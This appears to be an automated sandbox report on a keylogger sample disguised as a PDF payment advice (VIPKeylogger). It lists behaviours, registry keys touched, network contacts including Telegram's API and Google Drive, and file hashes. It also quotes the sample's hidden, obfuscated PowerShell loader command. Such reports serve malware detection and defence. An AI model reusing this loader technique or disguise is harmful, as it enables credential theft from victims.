Analysis Overview
SHA256
d7b641d0151a05ea88a81ce63ba1f8dec700c584203b3978daa4e143af7bfac4
Threat Level: Known bad
The file Settlement_Payment_Advise_pdf.exe was found to be: Known bad.
Malicious Activity Summary
VIPKeylogger
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Legitimate hosting services abused for malware hosting/C2
Accesses Microsoft Outlook profiles
Looks up external IP address via web service
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of NtSetInformationThreadHideFromDebugger
Drops file in Windows directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Browser Information Discovery
NSIS installer
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: MapViewOfSection
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-02 13:29
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-02 13:29
Reported
2024-10-02 13:31
Platform
win7-20240903-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Brackishness.Ops | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2520 wrote to memory of 2236 | N/A | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2520 wrote to memory of 2236 | N/A | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2520 wrote to memory of 2236 | N/A | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2520 wrote to memory of 2236 | N/A | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"
Network
Files
memory/2236-11-0x0000000073761000-0x0000000073762000-memory.dmp
memory/2236-12-0x0000000073760000-0x0000000073D0B000-memory.dmp
memory/2236-13-0x0000000073760000-0x0000000073D0B000-memory.dmp
memory/2236-14-0x0000000073760000-0x0000000073D0B000-memory.dmp
memory/2236-15-0x0000000073760000-0x0000000073D0B000-memory.dmp
memory/2236-16-0x0000000073760000-0x0000000073D0B000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-02 13:29
Reported
2024-10-02 13:31
Platform
win10v2004-20240802-en
Max time kernel
146s
Max time network
144s
Command Line
Signatures
VIPKeylogger
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Brackishness.Ops | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | N/A |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\msiexec.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"
C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\syswow64\msiexec.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.212.206:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 172.217.169.67:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 172.217.169.67:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.180.1:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 206.212.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.169.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.180.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 158.101.44.242:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 242.44.101.158.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| NL | 52.111.243.31:443 | tcp | |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
Files
memory/3840-9-0x0000000073C5E000-0x0000000073C5F000-memory.dmp
memory/3840-10-0x0000000002F90000-0x0000000002FC6000-memory.dmp
memory/3840-11-0x00000000057E0000-0x0000000005E08000-memory.dmp
memory/3840-12-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-13-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-14-0x00000000055C0000-0x00000000055E2000-memory.dmp
memory/3840-15-0x0000000005760000-0x00000000057C6000-memory.dmp
memory/3840-16-0x0000000005F10000-0x0000000005F76000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcq1yv2l.ho1.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3840-26-0x0000000005F80000-0x00000000062D4000-memory.dmp
memory/3840-27-0x0000000006630000-0x000000000664E000-memory.dmp
memory/3840-28-0x0000000006650000-0x000000000669C000-memory.dmp
memory/3840-29-0x00000000075F0000-0x0000000007686000-memory.dmp
memory/3840-30-0x0000000006B00000-0x0000000006B1A000-memory.dmp
memory/3840-31-0x0000000006B70000-0x0000000006B92000-memory.dmp
memory/3840-32-0x0000000007E70000-0x0000000008414000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp
| MD5 | b3e22fcf654587946cbb858f6587c0d4 |
| SHA1 | 6c07411640ad7d6ff1928ff84864b43b84bdcd91 |
| SHA256 | 072cbb8dd2d9776d1f0930cc39d2cca7821c50d9464912a1144e6747d9c20964 |
| SHA512 | cd5577751bdc4137d9d3bdfbee6dc6590e6f8c7e33a6610889316b57ae8d42ccd6c92d935955e427202dbf58b6f36a40b72d5ca513d317f9c8ef3113b9082021 |
memory/3840-34-0x0000000008AA0000-0x000000000911A000-memory.dmp
memory/3840-37-0x00000000700E0000-0x000000007012C000-memory.dmp
memory/3840-36-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-35-0x0000000007A50000-0x0000000007A82000-memory.dmp
memory/3840-38-0x0000000070840000-0x0000000070B94000-memory.dmp
memory/3840-48-0x0000000007A90000-0x0000000007AAE000-memory.dmp
memory/3840-49-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-50-0x0000000007AC0000-0x0000000007B63000-memory.dmp
memory/3840-51-0x0000000007BC0000-0x0000000007BCA000-memory.dmp
memory/3840-52-0x0000000007D40000-0x0000000007D6A000-memory.dmp
memory/3840-53-0x0000000007D70000-0x0000000007D94000-memory.dmp
memory/3840-54-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-56-0x0000000073C50000-0x0000000074400000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\strigsrejsen.Gib
| MD5 | fc1b8508adc7dfc8fab6a4ffa3e10764 |
| SHA1 | 030e2952c376452b60eed4ab6bc891677614b5c3 |
| SHA256 | da015f66da0983444fea0e2079dc9a7cdd31f5f609832051cbc21648df41dbf0 |
| SHA512 | 57a7009c1636549015c1954083b133adfb97fcae78392b915b1587e56b53895028b42cafb56f33956decec466026d7b638adf2d443a1dac84b082775fa67c3d6 |
memory/3840-59-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-58-0x0000000073C5E000-0x0000000073C5F000-memory.dmp
memory/3840-60-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-62-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-61-0x0000000009120000-0x000000000A666000-memory.dmp
memory/3840-63-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-64-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-65-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3840-66-0x0000000073C50000-0x0000000074400000-memory.dmp
memory/3820-67-0x0000000002070000-0x00000000035B6000-memory.dmp
memory/3820-80-0x0000000000E10000-0x0000000002064000-memory.dmp
memory/3820-81-0x0000000000E10000-0x0000000000E5A000-memory.dmp
memory/3820-82-0x00000000215B0000-0x000000002164C000-memory.dmp
memory/3820-84-0x0000000002070000-0x00000000035B6000-memory.dmp
memory/3820-85-0x0000000022240000-0x0000000022402000-memory.dmp
memory/3820-86-0x00000000219E0000-0x0000000021A30000-memory.dmp
memory/3820-88-0x0000000022110000-0x00000000221A2000-memory.dmp
memory/3820-89-0x0000000021AB0000-0x0000000021ABA000-memory.dmp